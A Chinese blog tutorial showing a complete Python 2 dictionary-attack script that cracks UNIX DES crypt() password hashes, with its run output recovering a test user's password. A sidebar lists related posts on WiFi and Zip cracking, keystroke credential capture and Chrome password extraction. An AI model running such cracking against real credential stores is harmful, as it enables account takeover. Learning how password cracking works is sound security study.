Python 黑客 --- 001 UNIX口令破解机

原创 2016年08月29日 23:15:10

Python 黑客 实战:UNIX口令破解机

使用的系统:Ubuntu 14.04 LTS
Python语言版本:Python 2.7.10 V

crypt 库是Python内置的库。在UNIX系统使用,使用crypt()函数对密码进行加密。UNIX Crypt 函数计算的加密口令为:crypt('egg', 'HX') = HX9LLTdc/jiDE

$ python
Python 2.7.6 (default, Jun 22 2015, 18:00:18) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('crypt')

输出:

Help on module crypt:

NAME
    crypt

FILE
    /usr/lib/python2.7/lib-dynload/crypt.i386-linux-gnu.so

MODULE DOCS
    http://docs.python.org/library/crypt

FUNCTIONS
    crypt(...)
        crypt(word, salt) -> string
        word will usually be a user's password. salt is a 2-character string
        which will be used to select one of 4096 variations of DES. The characters
        in salt must be either ".", "/", or an alphanumeric character. Returns
        the hashed password as a string, which will be composed of characters from
        the same alphabet as the salt.

(END)

q退出。

我们来试试这个crypt()函数:

>>> import crypt
>>> crypt.crypt("egg", "HX")
'HX9LLTdc/jiDE'
>>> 

程序设计思路

黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。
这就是:字典攻击法 ,来破解加密的口令。

程序编写

你可以在这里下载源代码: 1-4-2-passwdCrack.py

源代码讲解:

#! /usr/bin/python
# -*- coding: utf-8 -*-
import crypt

def testPass(cryptPass):    # 加密的口令hash
    salt = cryptPass[0:2]   # 提取加密的口令hash前两个字符视为salt
    dictFile = open('dictionary.txt', 'r')   # 读取字典里的所有单词
    for word in dictFile.readlines():        # 遍历字典中的每一个单词
        word = word.strip('\n')              # 提取单个单词
        cryptWord = crypt.crypt(word, salt)  # 用每个单词和salt计算一个新的加密口令hash
        if cryptWord == cryptPass:           # 如果结果与加密口令hash匹配
            print '[+] Found Password: ' + word + '\n'  # 显示找到密码
            return                           # 找到密码,返回
    print '[-] Password Not Found.\n'     # 搜遍字典无果
    return                                # 没有找到密码,返回

def main():
    passFile = open('passwords.txt')    # 打开加密口令文件"passwords.txt"
    for line in passFile.readlines():   # 逐行读取口令文件中的内容
        if ':' in line:          
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')   # 每一行的用户名和口令hash都是分隔开的
            print '[*] Cracking Password For: ' + user
            testPass(cryptPass)     # 调用testPass()函数,尝试用字典中的单词破解口令hash

if __name__ == '__main__':
    main()

代码中读取的 ‘passwords.txt’ 和 ‘dictionary.txt’ 文件在这里可以下载。

添加可执行权限:

sudo chmod 777 1-4-2-passwdCrack.py 

运行脚本:

$ ./1-4-2-passwdCrack.py 
[*] Cracking Password For: victim
[+] Found Password: egg

[*] Cracking Password For: root
[-] Password Not Found.

从输出结果可以看出:我成功破解了victim用户的密码。root的密码我们没有成功。那么这表明:root 一定是使用了我们字典( ‘dictionary.txt’ 文件)之外的单词作为密码。没事,我们现在学习了这一种破解方法(字典攻击法),后面我们会学习更多的破解方法。

版权声明:本文为博主原创文章,未经博主允许不得转载。 更多博文,请浏览:http://www.aobosir.com/

《python编程快速上手》学习笔记-----口令保管箱

课本项目一:口令保管箱 目的:用于保存各种账号的密码,输入账户后会将账户密码拷贝到剪贴板,可直接粘贴到网站的密码输入框 知识点:pyperclip模块的应用、快捷执行py文件1、代码部分#! py...
  • gujuelvren
  • gujuelvren
  • 2017年09月17日 11:26
  • 228

第一个Python小程序:Zip文件口令破解器

第一个Python小程序:Zip文件口令破解器 最近在看一本关于Python应用的书,本身也刚接触Python不久,已被py的强大魅力所感染! 下面就不介绍基本的语法了,有兴趣的...
  • Drongin
  • Drongin
  • 2017年01月18日 15:57
  • 2665

Python--Python尝试破解wifi无线密码

上点python有意思的代码。 环境准备 python2.7pywifi模块字典清除系统中的任何wifi连接记录 导入模块 这里用的模块就这三个 pywifi的_wifiuti...
  • zzzzzdddddxxxxx
  • zzzzzdddddxxxxx
  • 2017年02月10日 13:49
  • 5346

从0开始玩安全--Python篇--Python入门指导 & 案例Unixshadow密码破解

如何入门Python?and 入门的第一个案例
  • only21kg
  • only21kg
  • 2016年06月18日 22:03
  • 1314

python使用telnet实现弱密码登录

def check_23_port(ip,username,passwd):   try:     tn=telnetlib.Telnet()#所有的telnet都不能够设置timeout,否则无法获...
  • Leonard_wang
  • Leonard_wang
  • 2016年08月09日 10:49
  • 2347

Python:通过远程监控用户输入来获取淘宝账号和密码的实验(一)

在前面两篇文章中实现了将用户输入信息抓取到后,写入文件,把用户操作的截图也保存了下来,但些文件是在用户的机器上的,获取到并不容易,本次再次优化了下,将用户输入发送到监控者的电脑上,图片传送回来目前还没...
  • dyx1024
  • dyx1024
  • 2012年03月03日 16:51
  • 9685

Python实现Telnet自动连接检测密码

最近在学习Python网络编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。...
  • bubu8633
  • bubu8633
  • 2014年11月06日 16:23
  • 9433

Python 获取Chrome 保存的密码

转载于http://www.lijiejie.com/python-get-chrome-all-saved-passwords/ import os, sys import shutil impo...
  • zhubinqiang
  • zhubinqiang
  • 2014年03月27日 09:09
  • 1841

python 破解wp博客后台登陆密码

当时自己架设wp的时候发现默认居然没有验证码,于是写了个小脚本,跑了下。 居然还拿到不少后台。 惊 代码:python 暴力破解wordpress博客后台登陆密码 (上面只是截取了一个本地...
  • yagamil
  • yagamil
  • 2016年05月24日 23:18
  • 947

类UNIX操作系统ROOT密码破解

(一)Linux 系统密码破解 1.在grub选项菜单按E进入编辑模式 2.编辑kernel那行 /init 1 (或/single) 3.按B重启 4.进入后执行下列命令 root@#passwd ...
  • yjz0065
  • yjz0065
  • 2007年10月25日 14:16
  • 1304
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Python 黑客 --- 001 UNIX口令破解机
举报原因:
原因补充:

(最多只允许输入30个字)